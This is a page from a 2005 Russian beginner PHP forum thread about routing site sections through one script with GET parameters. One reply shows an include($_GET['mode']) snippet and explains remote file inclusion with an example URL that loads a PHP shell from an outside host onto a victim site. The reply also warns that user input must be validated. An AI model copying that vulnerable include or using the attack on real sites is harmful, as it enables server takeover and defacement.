Strict Standards: Resource ID#18 used as offset, casting to integer (18) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#23 used as offset, casting to integer (23) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#25 used as offset, casting to integer (25) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#26 used as offset, casting to integer (26) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Include нужных файлов при помощи GET [2]
ТвойWeb ТвойWeb
Качественный Европейский хостинг
Форум для чайников
 Чат на форуме      Помощь      Поиск      Пользователи


 Страниц (2): « 1 [2]   

> Описание: Как это сделать?
ru-sagem
Отправлено: 18 Января, 2005 - 12:41:16
Post Id



Member


Покинул форум
Сообщений всего: 144
Дата рег-ции: Нояб. 2004  
Откуда: Брест, BELARUS

Карма 0




Добрый вечер.
Я вчера наинклюдился так, что у меня скпипты полетели (эспериментатор блин...). Вастанавливал сайт до 4 часов утра. Получилось так, что скрипт каталога игр стал показывать новости. Это так для юмора.Радость
Вообще-то я приспособил 3 абсолютно одинаковые скпипта для разных разделов сайта. Это и новости, разделы с играми и приложениями. Может поэтому глюки? хотя они в разных папках и называются естественно по-разному.
Цитата:
Они находятся на одном уровне.
Это я погоречился, конечно на разных.
Вчера пошурупил головой и понял, что где-то я ложаю.
Думаю что c функцией GET я промохнулся (плохо объясняю что прошу).
И все таки попытаюсь.
Допустим файл a.php, открываеш его появляется что нибудь, неважно, в том, что появилось кликаеш по ссылке и из тогоже файла a.php появляется новая информация и так далее.... (страница администратора, насколько я встречал построена так да думаю и нетолько).

Мне важно знать могу я свои скпипты разделов и главную страницу увязать по такой системе? Чтобы не клониковать дизайн страницы в каждую заглавную страницу раздела сайта, а то получится как HTML поменял что нибудь на одной странице - меняй на всех, а когда их 50-60?
Помойму получилось на свежую голову, целый движок захотел, звиняйте за наглостьОднако

Типа что-то такого
CODE:
if($section)
{
list($manlix[section][select][0],$manlix[section][select][1])=explode("_",$section);
$manlix[section][current]=$section;
unset($section);
 
 Top
TvoyWeb Администратор
Отправлено: 18 Января, 2005 - 15:34:45
Post Id



Главный здесь


Покинул форум
Сообщений всего: 7072
Дата рег-ции: Нояб. 2003  
Откуда: Tashkent Uz

Карма 52




ru-sagem
Для таких вещей используются темплейты, или по другому - шаблоны.
В корне сайта создается папка с шаблонами страниц.
Как правило диз сайта на всех страницах одинаков, за некоторым исключением. И как правило это шапка, левый, правый, центральный и нижний блок (еще его называют подвальчиком, а в шаблонах обычно - footer).
Так вот из всех этих частей обычно меняется только центральная, контентная часть. Вот сюда то и вставляются скрипты которые выводять информацию для того или иного раздела.

Вообще то что ты хочешь сделать, делается конечно совсем по другому, не так как ты себе представляешь.

То есть данные для разделов должны храниться в базе ,не обязательно это MySQL или еще какая БД. Базой могут служить и обычные файлы.
А в корне сайта будут скрипты, которые будут обрабатывать запросы и выводить на страницу ту или иную информацию для разделов.
Например у тебя есть раздел статьи, игры и закачка.
Создаешь файлы в корне downloads.php, games.php и сlauses.php.
При прямом вызове этого файла без GET параметров, скрипт будет выводить какую нибудь дефолтную инфу, а с GET уже будет выводить то на что был запрос в GET.

Вообще это такая большая тема......Ничего себе!!! и двумя словами всего не объяснишь.
 
 Top
ita
Отправлено: 18 Января, 2005 - 16:31:05
Post Id



Честный чайник


Покинул форум
Сообщений всего: 46
Дата рег-ции: Янв. 2005  
Откуда: dp.ua

Карма 0




ВАХ!!!
CODE:
<?
if(isset($_GET['mode'])){
include($_GET['mode'].'.php');
} else {
echo "Это индексная страница";
}
?>

какой хороший скриптик.. мне нравится.. вот только..
берем сервак типа народа, который файлы php отдает как текстовые..
берем shell на php, ложим на народ и обзываем shell.php
запрашиваем скрипт с сайта жертвы примерно так:
http://site.ru/?mode=http://host.narod.ru/shell
в результате на хосте пользователя имеем shell с его правами.. ну а дальше.. как минимум дефейс замутить можно..
ествественно все зависит от настроек php на хосте, но как показывает опыт на большинстве платных хостов инклюд с удаленных серверов разрешен.
вот так вот..
так что проверять, проверять и еще раз проверять любой запрос от пользователя.
вариант с case в данном случае намного безопаснее.
добавлено:
CODE:
<? include "./test/inclyde.php?=news"; ?>

а разве include понимает переменные окружения?? он у тебя в папке test файл inclyde.php?=news искать будет.
 
 Top
TvoyWeb Администратор
Отправлено: 18 Января, 2005 - 16:37:16
Post Id



Главный здесь


Покинул форум
Сообщений всего: 7072
Дата рег-ции: Нояб. 2003  
Откуда: Tashkent Uz

Карма 52




ita пишет:
в результате на хосте пользователя имеем shell с его правами.. ну а дальше.. как минимум дефейс замутить можно..
...................
так что проверять, проверять и еще раз проверять любой запрос от пользователя.
вариант с case в данном случае намного безопаснее.

Ну это само собой.
Это был росто пример. И если заморачиваться на безопасности, то конечно все будет намного по другому.
 
 Top
ru-sagem
Отправлено: 18 Января, 2005 - 16:39:44
Post Id



Member


Покинул форум
Сообщений всего: 144
Дата рег-ции: Нояб. 2004  
Откуда: Брест, BELARUS

Карма 0




Как я понимаю для этого надо кое что знать. Я прав?
Ну что-ж, пока буду крутить из того что есть т. к. сайт надо выкладывать.

Если у Вас какой нибудь скриптик такого хозяйства, простенький, не более того что Вы сказали есть, скинте на мыло. Если это конечно не является коммерчиским вопросом, буду признателен.

Попробую с Вашей помощью что нибудь сотворитьЕсть!
 
 Top
TvoyWeb Администратор
Отправлено: 18 Января, 2005 - 16:45:59
Post Id



Главный здесь


Покинул форум
Сообщений всего: 7072
Дата рег-ции: Нояб. 2003  
Откуда: Tashkent Uz

Карма 52




ru-sagem
То что тебе нужно называется системой управления содержанием (контентом) сайта (Content Management System - CMS). Таких скриптов, от простых до сложных очень много в нете. Посмотри на www.woweb.ru , может там что нибудь найдешь для себя.
Я пока не пользуюсь ни одним. Хотел писать свой движок для сайта, но потом решил не заморачиваться и использовать готовый движок POST NUKE.
 
 Top
ru-sagem
Отправлено: 18 Января, 2005 - 16:56:39
Post Id



Member


Покинул форум
Сообщений всего: 144
Дата рег-ции: Нояб. 2004  
Откуда: Брест, BELARUS

Карма 0




Ссылочу подправте, а то запятая подцепилась.
Добро, че нить поещу. Если что буду писать.
 
 Top
ru-sagem
Отправлено: 19 Января, 2005 - 15:28:26
Post Id



Member


Покинул форум
Сообщений всего: 144
Дата рег-ции: Нояб. 2004  
Откуда: Брест, BELARUS

Карма 0




Скачал себе PostNuke: Версия Rogue (0.71).

А где к ней взять русские языковые файлы для версии 0.71?
 
 Top
TvoyWeb Администратор
Отправлено: 19 Января, 2005 - 15:47:13
Post Id



Главный здесь


Покинул форум
Сообщений всего: 7072
Дата рег-ции: Нояб. 2003  
Откуда: Tashkent Uz

Карма 52




ru-sagem
Вопрос не в тему. Давай это обсуждать в другой теме.
 
 Top
Страниц (2): « 1 [2]
Сейчас эту тему просматривают: 3 (гостей: 3, зарегистрированных: 0, скрытых: 0)
« PHP/Perl »


Все гости форума могут просматривать этот раздел.
Только администраторы и модераторы могут создавать новые темы в этом разделе.
Только администраторы и модераторы могут отвечать на сообщения в этом разделе.
 



Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0509]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33